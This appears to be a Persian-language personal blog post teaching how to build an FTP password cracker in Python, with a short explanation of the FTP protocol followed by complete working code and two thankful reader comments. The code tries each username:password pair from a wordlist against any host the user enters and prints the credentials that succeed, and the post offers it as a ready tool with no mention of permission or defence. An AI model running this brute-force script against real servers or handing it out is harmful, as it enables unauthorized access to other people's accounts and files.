وبلاگ فربد | Farbod Blog

توی این وبلاگ راجع به پروژه هام صحبت می کنم

ساخت کرکر پروتکل ftp با پایتون

  • ۱۱۲۴

سلام دوستان :)

امروز میخواستم نحوه ساخت کرکر پروتکل FTP با پایتون رو بهتون نشون بدم

خب اول یک توضیح کوتاهی راجب به FTP بدم

 FTP یک پروتکل استاندارد بر پایه TCP/IP هست که مخفف File Transfer Protocol هست و یکی از قدیمی ترین و پر کاربرد ترین پروتکل های اینترنت است.

همینطور که از اسمش مشخصه کار این پروتکل اینه که میتونه فایل رو از یک کامپیوتر به یک کامپیوتر دیگه منتقل کنه.

 

این پروتکل روی پورت 21 و 20 کار میکنه که پورت 21 برای برقرار کردن ارتباط بین کلاینت و سرور و پورت 20 برای تبادل  و ارسال فایل های مورد نظر در شبکه است(همون کانال کنترل و کانال داده)

 

 

در اکثر مواقع ما برای لاگین کردن به یک سرور FTP نیاز به یوزر و پسورد داریم

در سرور ها برای احراز هویت شخصی که به اون سرور وصل میشه حساب های FTP مختلفی وجود داره که هر کدوم در دایرکتوری مختلفی وصل میشن و سطوح دسترسی متفاوتی دارن

 

 

خب برای نوشتن این اسکریپت با پایتون ما باید به سرور وصل بشیم و Username و Password List رو روی اون سرور امتحان کنیم

 

فرمت پسورد لیستتون باید اینجوری باشه:

 

username:password

 

 

برای این برنامه ما نیاز به ماژول colorama داریم که بتونیم متن رنگی بنویسیم

 

برای نصب این ماژول توی ویندوز وارد cmd شوید و دستورات زیر رو بزنید:

 

pip install colorama

برای نصب در لینوکس وارد ترمینال بشین و دستورات زیر رو وارد کنید:

 

pip3 install colorama

 

خب میریم سراغ کد

 

اول ماژول هامون رو ایمپورت میکنیم:

 

import ftplib
import colorama

 

حالا یک تابع درست میکنیم که سه تا ورودی یوزرنیم، پسورد و هاست میگیره که بتونه به سرور مد نظر وصل بشه و یوزرنیم ها و پسورد های رو دونه دونه روی سرور امتحان کنه و اگه user و password مون درست بود مقدار True بر میگردونه و اگر درست نبود مقدار False برای این که بتونیم راحت در if ها استفادش کنیم:

 

def connect(host,username,password):
    ftp = ftplib.FTP()
    print(colorama.Fore.RED + "trying -> {}:{}".format(username,password))
    try:
        ftp.connect(host,21,timeout=5)
        ftp.login(username,password)
        return True
    except ftplib.error_perm:
        return False

 

بعدش دو تا ورودی از کاربر میگیریم یکی آدرس سرور ftp و یکی آدرس فایل پسورد لیست:

 

colorama.init() # init colorama
host = input("host : ")
dic = input("Dictionery File : ")

 

در آخر یک حلقه درست میکنیم که فایل رو باز میکنه یوزرنیم و پسورد رو از هم جدا میکنه و میریزتش توی یک متغییر و یوزر و پسورد رو روی سرور چک میکنه اگر شد با رنگ سبز یوزرنیم و پسورد رو چاپ میکنه و میگه اینا درست بودن اگر نشد یوزرنیم و پسورد اشتباه رو با رنگ قرمز چاپ میکنه و میگه اینا نبودن:

 

for userpass in open(dic):
    userpass = userpass.strip("\n")
    username = userpass.split(":")[0]
    password = userpass.split(":")[1]
    if connect(host,username,password) :
        print("-------------------")
        print(colorama.Fore.GREEN + "Username : {}\nPassword : {}".format(username,password))
        break

 

 

 

 

این هم کد کامل:

 

import ftplib
import colorama

def connect(host,username,password):
    ftp = ftplib.FTP()
    print(colorama.Fore.RED + "trying -> {}:{}".format(username,password))
    try:
        ftp.connect(host,21,timeout=5)
        ftp.login(username,password)
        return True
    except ftplib.error_perm:
        return False


colorama.init() # init colorama
host = input("host : ")
dic = input("Dictionery File : ")

for userpass in open(dic):
    userpass = userpass.strip("\n")
    username = userpass.split(":")[0]
    password = userpass.split(":")[1]
    if connect(host,username,password) :
        print("-------------------")
        print(colorama.Fore.GREEN + "Username : {}\nPassword : {}".format(username,password))
        break

 

 

امیدوارم این مطلب هم براتون مفید بوده باشه D:


  • سلام وقتتون بخیر

    آموزش خیلی خوبی گذاشتید وظیفه دونستم تشکر کنم هم بخاطر کلیت آموزش هم بخاطر بیان ساده و مفید که قشنگ کد رو تحلیل کردید.

    با آرزوی موفقیت روزافزون
    پاسخ:
    سلام دوست عزیز
    همراهی شما باعث افتخاره
    موفق باشید
  • ممنون از آموزش های خوبتون
    واقعا مفید بود
    پاسخ:
    سلام دوست عزیز 
    خوشحالم از اینکه براتون مفید بوده
    موفق باشید
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی